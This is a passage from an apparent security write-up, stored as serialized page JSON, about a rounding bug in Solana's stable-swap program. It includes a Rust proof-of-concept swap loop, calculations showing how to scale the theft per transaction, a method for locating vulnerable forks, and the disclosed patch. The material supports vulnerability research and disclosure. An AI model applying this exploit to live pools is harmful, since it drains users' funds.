==",{"type":23,"tag":504,"props":2262,"children":2263},{"style":529},[2264],{"type":28,"value":1987},{"type":23,"tag":504,"props":2266,"children":2267},{"style":523},[2268],{"type":28,"value":552},{"type":23,"tag":504,"props":2270,"children":2271},{"class":506,"line":785},[2272,2277],{"type":23,"tag":504,"props":2273,"children":2274},{"style":544},[2275],{"type":28,"value":2276},"            break",{"type":23,"tag":504,"props":2278,"children":2279},{"style":523},[2280],{"type":28,"value":866},{"type":23,"tag":504,"props":2282,"children":2283},{"class":506,"line":813},[2284,2289,2294],{"type":23,"tag":504,"props":2285,"children":2286},{"style":523},[2287],{"type":28,"value":2288},"        } ",{"type":23,"tag":504,"props":2290,"children":2291},{"style":544},[2292],{"type":28,"value":2293},"else",{"type":23,"tag":504,"props":2295,"children":2296},{"style":523},[2297],{"type":28,"value":552},{"type":23,"tag":504,"props":2299,"children":2300},{"class":506,"line":851},[2301,2306,2310,2314],{"type":23,"tag":504,"props":2302,"children":2303},{"style":529},[2304],{"type":28,"value":2305},"            y",{"type":23,"tag":504,"props":2307,"children":2308},{"style":598},[2309],{"type":28,"value":648},{"type":23,"tag":504,"props":2311,"children":2312},{"style":529},[2313],{"type":28,"value":2255},{"type":23,"tag":504,"props":2315,"children":2316},{"style":523},[2317],{"type":28,"value":866},{"type":23,"tag":504,"props":2319,"children":2320},{"class":506,"line":869},[2321],{"type":23,"tag":504,"props":2322,"children":2323},{"style":523},[2324],{"type":28,"value":1291},{"type":23,"tag":504,"props":2326,"children":2327},{"class":506,"line":878},[2328],{"type":23,"tag":504,"props":2329,"children":2330},{"style":523},[2331],{"type":28,"value":875},{"type":23,"tag":24,"props":2333,"children":2334},{},[2335,2340],{"type":23,"tag":1887,"props":2336,"children":2337},{},[2338],{"type":28,"value":2339},"approximate",{"type":28,"value":2341},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":2343,"children":2344},{},[2345],{"type":28,"value":2346},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":494,"props":2348,"children":2350},{"code":2349,"language":1956,"meta":7,"className":1957,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[2351],{"type":23,"tag":56,"props":2352,"children":2353},{"__ignoreMap":7},[2354,2362,2402,2410,2440,2468,2485,2501,2526,2542,2558,2574,2590,2606,2618,2626,2648,2655,2663,2731,2738,2767,2774,2804,2811,2870],{"type":23,"tag":504,"props":2355,"children":2356},{"class":506,"line":507},[2357],{"type":23,"tag":504,"props":2358,"children":2359},{"style":1106},[2360],{"type":28,"value":2361},"// from sbtc to renbtc\n",{"type":23,"tag":504,"props":2363,"children":2364},{"class":506,"line":540},[2365,2370,2375,2379,2383,2388,2393,2398],{"type":23,"tag":504,"props":2366,"children":2367},{"style":544},[2368],{"type":28,"value":2369},"for",{"type":23,"tag":504,"props":2371,"children":2372},{"style":529},[2373],{"type":28,"value":2374}," i",{"type":23,"tag":504,"props":2376,"children":2377},{"style":511},[2378],{"type":28,"value":2018},{"type":23,"tag":504,"props":2380,"children":2381},{"style":1440},[2382],{"type":28,"value":2023},{"type":23,"tag":504,"props":2384,"children":2385},{"style":598},[2386],{"type":28,"value":2387}," ..",{"type":23,"tag":504,"props":2389,"children":2390},{"style":1440},[2391],{"type":28,"value":2392}," 50",{"type":23,"tag":504,"props":2394,"children":2395},{"style":1012},[2396],{"type":28,"value":2397},"u8",{"type":23,"tag":504,"props":2399,"children":2400},{"style":523},[2401],{"type":28,"value":552},{"type":23,"tag":504,"props":2403,"children":2404},{"class":506,"line":555},[2405],{"type":23,"tag":504,"props":2406,"children":2407},{"style":1106},[2408],{"type":28,"value":2409},"    // create swap transaction\n",{"type":23,"tag":504,"props":2411,"children":2412},{"class":506,"line":633},[2413,2417,2421,2426,2430,2435],{"type":23,"tag":504,"props":2414,"children":2415},{"style":511},[2416],{"type":28,"value":1977},{"type":23,"tag":504,"props":2418,"children":2419},{"style":511},[2420],{"type":28,"value":1982},{"type":23,"tag":504,"props":2422,"children":2423},{"style":529},[2424],{"type":28,"value":2425}," swap_instruction",{"type":23,"tag":504,"props":2427,"children":2428},{"style":598},[2429],{"type":28,"value":648},{"type":23,"tag":504,"props":2431,"children":2432},{"style":517},[2433],{"type":28,"value":2434}," swap",{"type":23,"tag":504,"props":2436,"children":2437},{"style":523},[2438],{"type":28,"value":2439},"(\n",{"type":23,"tag":504,"props":2441,"children":2442},{"class":506,"line":687},[2443,2448,2453,2458,2463],{"type":23,"tag":504,"props":2444,"children":2445},{"style":598},[2446],{"type":28,"value":2447},"        &",{"type":23,"tag":504,"props":2449,"children":2450},{"style":523},[2451],{"type":28,"value":2452},"spl_token",{"type":23,"tag":504,"props":2454,"children":2455},{"style":598},[2456],{"type":28,"value":2457},"::",{"type":23,"tag":504,"props":2459,"children":2460},{"style":517},[2461],{"type":28,"value":2462},"id",{"type":23,"tag":504,"props":2464,"children":2465},{"style":523},[2466],{"type":28,"value":2467},"(),\n",{"type":23,"tag":504,"props":2469,"children":2470},{"class":506,"line":736},[2471,2475,2480],{"type":23,"tag":504,"props":2472,"children":2473},{"style":598},[2474],{"type":28,"value":2447},{"type":23,"tag":504,"props":2476,"children":2477},{"style":529},[2478],{"type":28,"value":2479},"swap_pubkey",{"type":23,"tag":504,"props":2481,"children":2482},{"style":523},[2483],{"type":28,"value":2484},",\n",{"type":23,"tag":504,"props":2486,"children":2487},{"class":506,"line":785},[2488,2492,2497],{"type":23,"tag":504,"props":2489,"children":2490},{"style":598},[2491],{"type":28,"value":2447},{"type":23,"tag":504,"props":2493,"children":2494},{"style":529},[2495],{"type":28,"value":2496},"swap_authority_pubkey",{"type":23,"tag":504,"props":2498,"children":2499},{"style":523},[2500],{"type":28,"value":2484},{"type":23,"tag":504,"props":2502,"children":2503},{"class":506,"line":813},[2504,2508,2513,2517,2522],{"type":23,"tag":504,"props":2505,"children":2506},{"style":598},[2507],{"type":28,"value":2447},{"type":23,"tag":504,"props":2509,"children":2510},{"style":529},[2511],{"type":28,"value":2512},"test_account_signer",{"type":23,"tag":504,"props":2514,"children":2515},{"style":598},[2516],{"type":28,"value":320},{"type":23,"tag":504,"props":2518,"children":2519},{"style":517},[2520],{"type":28,"value":2521},"pubkey",{"type":23,"tag":504,"props":2523,"children":2524},{"style":523},[2525],{"type":28,"value":2467},{"type":23,"tag":504,"props":2527,"children":2528},{"class":506,"line":851},[2529,2533,2538],{"type":23,"tag":504,"props":2530,"children":2531},{"style":598},[2532],{"type":28,"value":2447},{"type":23,"tag":504,"props":2534,"children":2535},{"style":529},[2536],{"type":28,"value":2537},"sbtc_user_account",{"type":23,"tag":504,"props":2539,"children":2540},{"style":523},[2541],{"type":28,"value":2484},{"type":23,"tag":504,"props":2543,"children":2544},{"class":506,"line":869},[2545,2549,2554],{"type":23,"tag":504,"props":2546,"children":2547},{"style":598},[2548],{"type":28,"value":2447},{"type":23,"tag":504,"props":2550,"children":2551},{"style":529},[2552],{"type":28,"value":2553},"sbtc_reserve",{"type":23,"tag":504,"props":2555,"children":2556},{"style":523},[2557],{"type":28,"value":2484},{"type":23,"tag":504,"props":2559,"children":2560},{"class":506,"line":878},[2561,2565,2570],{"type":23,"tag":504,"props":2562,"children":2563},{"style":598},[2564],{"type":28,"value":2447},{"type":23,"tag":504,"props":2566,"children":2567},{"style":529},[2568],{"type":28,"value":2569},"renbtc_reserve",{"type":23,"tag":504,"props":2571,"children":2572},{"style":523},[2573],{"type":28,"value":2484},{"type":23,"tag":504,"props":2575,"children":2576},{"class":506,"line":1221},[2577,2581,2586],{"type":23,"tag":504,"props":2578,"children":2579},{"style":598},[2580],{"type":28,"value":2447},{"type":23,"tag":504,"props":2582,"children":2583},{"style":529},[2584],{"type":28,"value":2585},"renbtc_user_account",{"type":23,"tag":504,"props":2587,"children":2588},{"style":523},[2589],{"type":28,"value":2484},{"type":23,"tag":504,"props":2591,"children":2592},{"class":506,"line":1276},[2593,2597,2602],{"type":23,"tag":504,"props":2594,"children":2595},{"style":598},[2596],{"type":28,"value":2447},{"type":23,"tag":504,"props":2598,"children":2599},{"style":529},[2600],{"type":28,"value":2601},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":504,"props":2603,"children":2604},{"style":523},[2605],{"type":28,"value":2484},{"type":23,"tag":504,"props":2607,"children":2608},{"class":506,"line":1285},[2609,2614],{"type":23,"tag":504,"props":2610,"children":2611},{"style":1440},[2612],{"type":28,"value":2613},"        1",{"type":23,"tag":504,"props":2615,"children":2616},{"style":523},[2617],{"type":28,"value":2484},{"type":23,"tag":504,"props":2619,"children":2620},{"class":506,"line":1294},[2621],{"type":23,"tag":504,"props":2622,"children":2623},{"style":1440},[2624],{"type":28,"value":2625},"        2\n",{"type":23,"tag":504,"props":2627,"children":2628},{"class":506,"line":1302},[2629,2634,2638,2643],{"type":23,"tag":504,"props":2630,"children":2631},{"style":523},[2632],{"type":28,"value":2633},"    )",{"type":23,"tag":504,"props":2635,"children":2636},{"style":598},[2637],{"type":28,"value":320},{"type":23,"tag":504,"props":2639,"children":2640},{"style":517},[2641],{"type":28,"value":2642},"unwrap",{"type":23,"tag":504,"props":2644,"children":2645},{"style":523},[2646],{"type":28,"value":2647},"();\n",{"type":23,"tag":504,"props":2649,"children":2650},{"class":506,"line":1311},[2651],{"type":23,"tag":504,"props":2652,"children":2653},{"emptyLinePlaceholder":16},[2654],{"type":28,"value":1038},{"type":23,"tag":504,"props":2656,"children":2657},{"class":506,"line":1334},[2658],{"type":23,"tag":504,"props":2659,"children":2660},{"style":1106},[2661],{"type":28,"value":2662},"    // nonce\n",{"type":23,"tag":504,"props":2664,"children":2665},{"class":506,"line":1370},[2666,2671,2675,2680,2684,2689,2693,2697,2702,2707,2712,2717,2721,2726],{"type":23,"tag":504,"props":2667,"children":2668},{"style":529},[2669],{"type":28,"value":2670},"    swap_instruction",{"type":23,"tag":504,"props":2672,"children":2673},{"style":598},[2674],{"type":28,"value":320},{"type":23,"tag":504,"props":2676,"children":2677},{"style":523},[2678],{"type":28,"value":2679},"data",{"type":23,"tag":504,"props":2681,"children":2682},{"style":598},[2683],{"type":28,"value":320},{"type":23,"tag":504,"props":2685,"children":2686},{"style":517},[2687],{"type":28,"value":2688},"append",{"type":23,"tag":504,"props":2690,"children":2691},{"style":523},[2692],{"type":28,"value":526},{"type":23,"tag":504,"props":2694,"children":2695},{"style":598},[2696],{"type":28,"value":2086},{"type":23,"tag":504,"props":2698,"children":2699},{"style":511},[2700],{"type":28,"value":2701},"mut",{"type":23,"tag":504,"props":2703,"children":2704},{"style":517},[2705],{"type":28,"value":2706}," vec!",{"type":23,"tag":504,"props":2708,"children":2709},{"style":523},[2710],{"type":28,"value":2711},"[",{"type":23,"tag":504,"props":2713,"children":2714},{"style":529},[2715],{"type":28,"value":2716},"i",{"type":23,"tag":504,"props":2718,"children":2719},{"style":523},[2720],{"type":28,"value":576},{"type":23,"tag":504,"props":2722,"children":2723},{"style":529},[2724],{"type":28,"value":2725},"extranonce",{"type":23,"tag":504,"props":2727,"children":2728},{"style":523},[2729],{"type":28,"value":2730},"]);\n",{"type":23,"tag":504,"props":2732,"children":2733},{"class":506,"line":1384},[2734],{"type":23,"tag":504,"props":2735,"children":2736},{"emptyLinePlaceholder":16},[2737],{"type":28,"value":1038},{"type":23,"tag":504,"props":2739,"children":2740},{"class":506,"line":1392},[2741,2745,2749,2754,2758,2762],{"type":23,"tag":504,"props":2742,"children":2743},{"style":511},[2744],{"type":28,"value":1977},{"type":23,"tag":504,"props":2746,"children":2747},{"style":511},[2748],{"type":28,"value":1982},{"type":23,"tag":504,"props":2750,"children":2751},{"style":529},[2752],{"type":28,"value":2753}," instructions",{"type":23,"tag":504,"props":2755,"children":2756},{"style":598},[2757],{"type":28,"value":648},{"type":23,"tag":504,"props":2759,"children":2760},{"style":517},[2761],{"type":28,"value":2706},{"type":23,"tag":504,"props":2763,"children":2764},{"style":523},[2765],{"type":28,"value":2766},"[];\n",{"type":23,"tag":504,"props":2768,"children":2769},{"class":506,"line":1400},[2770],{"type":23,"tag":504,"props":2771,"children":2772},{"emptyLinePlaceholder":16},[2773],{"type":28,"value":1038},{"type":23,"tag":504,"props":2775,"children":2776},{"class":506,"line":1422},[2777,2782,2786,2791,2795,2800],{"type":23,"tag":504,"props":2778,"children":2779},{"style":529},[2780],{"type":28,"value":2781},"    instructions",{"type":23,"tag":504,"props":2783,"children":2784},{"style":598},[2785],{"type":28,"value":320},{"type":23,"tag":504,"props":2787,"children":2788},{"style":517},[2789],{"type":28,"value":2790},"push",{"type":23,"tag":504,"props":2792,"children":2793},{"style":523},[2794],{"type":28,"value":526},{"type":23,"tag":504,"props":2796,"children":2797},{"style":529},[2798],{"type":28,"value":2799},"swap_instruction",{"type":23,"tag":504,"props":2801,"children":2802},{"style":523},[2803],{"type":28,"value":630},{"type":23,"tag":504,"props":2805,"children":2806},{"class":506,"line":1450},[2807],{"type":23,"tag":504,"props":2808,"children":2809},{"emptyLinePlaceholder":16},[2810],{"type":28,"value":1038},{"type":23,"tag":504,"props":2812,"children":2813},{"class":506,"line":1463},[2814,2819,2823,2828,2832,2836,2841,2845,2849,2854,2858,2862,2866],{"type":23,"tag":504,"props":2815,"children":2816},{"style":529},[2817],{"type":28,"value":2818},"    env",{"type":23,"tag":504,"props":2820,"children":2821},{"style":598},[2822],{"type":28,"value":320},{"type":23,"tag":504,"props":2824,"children":2825},{"style":517},[2826],{"type":28,"value":2827},"execute_as_transaction",{"type":23,"tag":504,"props":2829,"children":2830},{"style":523},[2831],{"type":28,"value":526},{"type":23,"tag":504,"props":2833,"children":2834},{"style":598},[2835],{"type":28,"value":2086},{"type":23,"tag":504,"props":2837,"children":2838},{"style":529},[2839],{"type":28,"value":2840},"instructions",{"type":23,"tag":504,"props":2842,"children":2843},{"style":523},[2844],{"type":28,"value":576},{"type":23,"tag":504,"props":2846,"children":2847},{"style":598},[2848],{"type":28,"value":2086},{"type":23,"tag":504,"props":2850,"children":2851},{"style":517},[2852],{"type":28,"value":2853},"vec!",{"type":23,"tag":504,"props":2855,"children":2856},{"style":523},[2857],{"type":28,"value":2711},{"type":23,"tag":504,"props":2859,"children":2860},{"style":598},[2861],{"type":28,"value":2086},{"type":23,"tag":504,"props":2863,"children":2864},{"style":529},[2865],{"type":28,"value":2512},{"type":23,"tag":504,"props":2867,"children":2868},{"style":523},[2869],{"type":28,"value":2730},{"type":23,"tag":504,"props":2871,"children":2872},{"class":506,"line":1485},[2873],{"type":23,"tag":504,"props":2874,"children":2875},{"style":523},[2876],{"type":28,"value":884},{"type":23,"tag":24,"props":2878,"children":2879},{},[2880],{"type":28,"value":2881},"It works!",{"type":23,"tag":1909,"props":2883,"children":2884},{},[2885],{"type":23,"tag":24,"props":2886,"children":2887},{},[2888],{"type":28,"value":2889},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":2891,"children":2892},{},[2893],{"type":23,"tag":126,"props":2894,"children":2896},{"alt":7,"src":2895},"/posts/spl-swap/poc.png",[],{"type":23,"tag":70,"props":2898,"children":2900},{"id":2899},"exploitability",[2901],{"type":28,"value":2902},"Exploitability",{"type":23,"tag":24,"props":2904,"children":2905},{},[2906],{"type":28,"value":2907},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":2909,"children":2910},{},[2911],{"type":28,"value":2912},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":2914,"children":2915},{},[2916],{"type":28,"value":2917},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":2919,"children":2920},{},[2921],{"type":23,"tag":126,"props":2922,"children":2924},{"alt":7,"src":2923},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":2926,"children":2927},{},[2928,2930,2935],{"type":28,"value":2929},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":1887,"props":2931,"children":2932},{},[2933],{"type":28,"value":2934},"per instruction",{"type":28,"value":2936},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":2938,"children":2939},{},[2940],{"type":28,"value":2941},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":2943,"children":2944},{},[2945,2947,2952],{"type":28,"value":2946},"Some quick napkin math confirms that this ",{"type":23,"tag":1887,"props":2948,"children":2949},{},[2950],{"type":28,"value":2951},"is",{"type":28,"value":2953}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":2955,"children":2956},{},[2957],{"type":23,"tag":56,"props":2958,"children":2962},{"className":2959},[2960,2961],"language-math","math-inline",[2963],{"type":23,"tag":504,"props":2964,"children":2967},{"className":2965},[2966],"katex",[2968],{"type":23,"tag":504,"props":2969,"children":2973},{"className":2970,"ariaHidden":2972},[2971],"katex-html","true",[2974,3083,3139,3179],{"type":23,"tag":504,"props":2975,"children":2978},{"className":2976},[2977],"base",[2979,2985,2992,3056,3066,3072,3079],{"type":23,"tag":504,"props":2980,"children":2984},{"className":2981,"style":2983},[2982],"strut","height:0.8141em;",[],{"type":23,"tag":504,"props":2986,"children":2989},{"className":2987},[2988],"mord",[2990],{"type":28,"value":2991},"1",{"type":23,"tag":504,"props":2993,"children":2995},{"className":2994},[2988],[2996,3002],{"type":23,"tag":504,"props":2997,"children":2999},{"className":2998},[2988],[3000],{"type":28,"value":3001},"0",{"type":23,"tag":504,"props":3003,"children":3006},{"className":3004},[3005],"msupsub",[3007],{"type":23,"tag":504,"props":3008,"children":3011},{"className":3009},[3010],"vlist-t",[3012],{"type":23,"tag":504,"props":3013,"children":3016},{"className":3014},[3015],"vlist-r",[3017],{"type":23,"tag":504,"props":3018,"children":3021},{"className":3019,"style":2983},[3020],"vlist",[3022],{"type":23,"tag":504,"props":3023,"children":3025},{"style":3024},"top:-3.063em;margin-right:0.05em;",[3026,3032],{"type":23,"tag":504,"props":3027,"children":3031},{"className":3028,"style":3030},[3029],"pstrut","height:2.7em;",[],{"type":23,"tag":504,"props":3033,"children":3039},{"className":3034},[3035,3036,3037,3038],"sizing","reset-size6","size3","mtight",[3040],{"type":23,"tag":504,"props":3041,"children":3043},{"className":3042},[2988,3038],[3044,3050],{"type":23,"tag":504,"props":3045,"children":3047},{"className":3046},[2988,3038],[3048],{"type":28,"value":3049},"−",{"type":23,"tag":504,"props":3051,"children":3053},{"className":3052},[2988,3038],[3054],{"type":28,"value":3055},"8",{"type":23,"tag":504,"props":3057,"children":3059},{"className":3058},[2988,28],[3060],{"type":23,"tag":504,"props":3061,"children":3063},{"className":3062},[2988],[3064],{"type":28,"value":3065}," BTC",{"type":23,"tag":504,"props":3067,"children":3071},{"className":3068,"style":3070},[3069],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":504,"props":3073,"children":3076},{"className":3074},[3075],"mbin",[3077],{"type":28,"value":3078},"∗",{"type":23,"tag":504,"props":3080,"children":3082},{"className":3081,"style":3070},[3069],[],{"type":23,"tag":504,"props":3084,"children":3086},{"className":3085},[2977],[3087,3092,3098,3105,3110,3116,3126,3130,3135],{"type":23,"tag":504,"props":3088,"children":3091},{"className":3089,"style":3090},[2982],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":3093,"children":3095},{"className":3094},[2988],[3096],{"type":28,"value":3097},"$41",{"type":23,"tag":504,"props":3099,"children":3102},{"className":3100},[3101],"mpunct",[3103],{"type":28,"value":3104},",",{"type":23,"tag":504,"props":3106,"children":3109},{"className":3107,"style":3108},[3069],"margin-right:0.1667em;",[],{"type":23,"tag":504,"props":3111,"children":3113},{"className":3112},[2988],[3114],{"type":28,"value":3115},"400/",{"type":23,"tag":504,"props":3117,"children":3119},{"className":3118},[2988,28],[3120],{"type":23,"tag":504,"props":3121,"children":3123},{"className":3122},[2988],[3124],{"type":28,"value":3125},"BTC",{"type":23,"tag":504,"props":3127,"children":3129},{"className":3128,"style":3070},[3069],[],{"type":23,"tag":504,"props":3131,"children":3133},{"className":3132},[3075],[3134],{"type":28,"value":3078},{"type":23,"tag":504,"props":3136,"children":3138},{"className":3137,"style":3070},[3069],[],{"type":23,"tag":504,"props":3140,"children":3142},{"className":3141},[2977],[3143,3148,3154,3164,3169,3175],{"type":23,"tag":504,"props":3144,"children":3147},{"className":3145,"style":3146},[2982],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":3149,"children":3151},{"className":3150},[2988],[3152],{"type":28,"value":3153},"150",{"type":23,"tag":504,"props":3155,"children":3157},{"className":3156},[2988,28],[3158],{"type":23,"tag":504,"props":3159,"children":3161},{"className":3160},[2988],[3162],{"type":28,"value":3163}," swaps",{"type":23,"tag":504,"props":3165,"children":3168},{"className":3166,"style":3167},[3069],"margin-right:0.2778em;",[],{"type":23,"tag":504,"props":3170,"children":3173},{"className":3171},[3172],"mrel",[3174],{"type":28,"value":601},{"type":23,"tag":504,"props":3176,"children":3178},{"className":3177,"style":3167},[3069],[],{"type":23,"tag":504,"props":3180,"children":3182},{"className":3181},[2977],[3183,3188],{"type":23,"tag":504,"props":3184,"children":3187},{"className":3185,"style":3186},[2982],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":504,"props":3189,"children":3191},{"className":3190},[2988],[3192],{"type":28,"value":3193},"$0.0621",{"type":23,"tag":24,"props":3195,"children":3196},{},[3197],{"type":28,"value":3198},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":3200,"children":3201},{},[3202],{"type":28,"value":3203},"We're well on our way to becoming a millionaire!",{"type":23,"tag":70,"props":3205,"children":3207},{"id":3206},"patch",[3208],{"type":28,"value":3209},"Patch",{"type":23,"tag":24,"props":3211,"children":3212},{},[3213],{"type":28,"value":3214},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":3216,"children":3217},{},[3218],{"type":28,"value":3219},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":494,"props":3221,"children":3225},{"code":3222,"language":3223,"meta":7,"className":3224,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[3226],{"type":23,"tag":56,"props":3227,"children":3228},{"__ignoreMap":7},[3229],{"type":23,"tag":504,"props":3230,"children":3231},{"class":506,"line":507},[3232,3236,3241,3246,3251,3256,3261],{"type":23,"tag":504,"props":3233,"children":3234},{"style":517},[3235],{"type":28,"value":1855},{"type":23,"tag":504,"props":3237,"children":3238},{"style":622},[3239],{"type":28,"value":3240}," logs",{"type":23,"tag":504,"props":3242,"children":3243},{"style":622},[3244],{"type":28,"value":3245}," -um",{"type":23,"tag":504,"props":3247,"children":3248},{"style":598},[3249],{"type":28,"value":3250}," |",{"type":23,"tag":504,"props":3252,"children":3253},{"style":517},[3254],{"type":28,"value":3255}," grep",{"type":23,"tag":504,"props":3257,"children":3258},{"style":622},[3259],{"type":28,"value":3260}," 'Instruction: Swap'",{"type":23,"tag":504,"props":3262,"children":3263},{"style":622},[3264],{"type":28,"value":3265}," -B1\n",{"type":23,"tag":24,"props":3267,"children":3268},{},[3269],{"type":28,"value":3270},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":494,"props":3272,"children":3274},{"code":3273},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[3275],{"type":23,"tag":56,"props":3276,"children":3277},{"__ignoreMap":7},[3278],{"type":28,"value":3273},{"type":23,"tag":24,"props":3280,"children":3281},{},[3282],{"type":28,"value":3283},"Now it was time to contact these teams.",{"type":23,"tag":24,"props":3285,"children":3286},{},[3287],{"type":28,"value":3288},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":3290,"children":3291},{},[3292],{"type":28,"value":3293},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":494,"props":3295,"children":3297},{"code":3296,"language":1956,"meta":7,"className":1957,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[3298],{"type":23,"tag":56,"props":3299,"children":3300},{"__ignoreMap":7},[3301,3355,3367],{"type":23,"tag":504,"props":3302,"children":3303},{"class":506,"line":507},[3304,3309,3313,3318,3322,3327,3331,3335,3339,3343,3347,3351],{"type":23,"tag":504,"props":3305,"children":3306},{"style":598},[3307],{"type":28,"value":3308},"-",{"type":23,"tag":504,"props":3310,"children":3311},{"style":511},[3312],{"type":28,"value":2041},{"type":23,"tag":504,"props":3314,"children":3315},{"style":529},[3316],{"type":28,"value":3317}," dy",{"type":23,"tag":504,"props":3319,"children":3320},{"style":598},[3321],{"type":28,"value":648},{"type":23,"tag":504,"props":3323,"children":3324},{"style":529},[3325],{"type":28,"value":3326}," swap_destination_amount",{"type":23,"tag":504,"props":3328,"children":3329},{"style":598},[3330],{"type":28,"value":320},{"type":23,"tag":504,"props":3332,"children":3333},{"style":517},[3334],{"type":28,"value":2213},{"type":23,"tag":504,"props":3336,"children":3337},{"style":523},[3338],{"type":28,"value":526},{"type":23,"tag":504,"props":3340,"children":3341},{"style":529},[3342],{"type":28,"value":2091},{"type":23,"tag":504,"props":3344,"children":3345},{"style":523},[3346],{"type":28,"value":2105},{"type":23,"tag":504,"props":3348,"children":3349},{"style":598},[3350],{"type":28,"value":2133},{"type":23,"tag":504,"props":3352,"children":3353},{"style":523},[3354],{"type":28,"value":866},{"type":23,"tag":504,"props":3356,"children":3357},{"class":506,"line":540},[3358,3362],{"type":23,"tag":504,"props":3359,"children":3360},{"style":598},[3361],{"type":28,"value":1642},{"type":23,"tag":504,"props":3363,"children":3364},{"style":1106},[3365],{"type":28,"value":3366},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":504,"props":3368,"children":3369},{"class":506,"line":555},[3370,3374,3378,3382,3386,3390,3394,3398,3402,3406,3410,3414,3418,3422,3426,3430,3434],{"type":23,"tag":504,"props":3371,"children":3372},{"style":598},[3373],{"type":28,"value":1642},{"type":23,"tag":504,"props":3375,"children":3376},{"style":511},[3377],{"type":28,"value":2041},{"type":23,"tag":504,"props":3379,"children":3380},{"style":529},[3381],{"type":28,"value":3317},{"type":23,"tag":504,"props":3383,"children":3384},{"style":598},[3385],{"type":28,"value":648},{"type":23,"tag":504,"props":3387,"children":3388},{"style":529},[3389],{"type":28,"value":3326},{"type":23,"tag":504,"props":3391,"children":3392},{"style":598},[3393],{"type":28,"value":320},{"type":23,"tag":504,"props":3395,"children":3396},{"style":517},[3397],{"type":28,"value":2213},{"type":23,"tag":504,"props":3399,"children":3400},{"style":523},[3401],{"type":28,"value":526},{"type":23,"tag":504,"props":3403,"children":3404},{"style":529},[3405],{"type":28,"value":2091},{"type":23,"tag":504,"props":3407,"children":3408},{"style":523},[3409],{"type":28,"value":2105},{"type":23,"tag":504,"props":3411,"children":3412},{"style":598},[3413],{"type":28,"value":2110},{"type":23,"tag":504,"props":3415,"children":3416},{"style":517},[3417],{"type":28,"value":2213},{"type":23,"tag":504,"props":3419,"children":3420},{"style":523},[3421],{"type":28,"value":526},{"type":23,"tag":504,"props":3423,"children":3424},{"style":1440},[3425],{"type":28,"value":2991},{"type":23,"tag":504,"props":3427,"children":3428},{"style":523},[3429],{"type":28,"value":2105},{"type":23,"tag":504,"props":3431,"children":3432},{"style":598},[3433],{"type":28,"value":2133},{"type":23,"tag":504,"props":3435,"children":3436},{"style":523},[3437],{"type":28,"value":866},{"type":23,"tag":24,"props":3439,"children":3440},{},[3441,3443,3450],{"type":28,"value":3442},"For reference, here is the 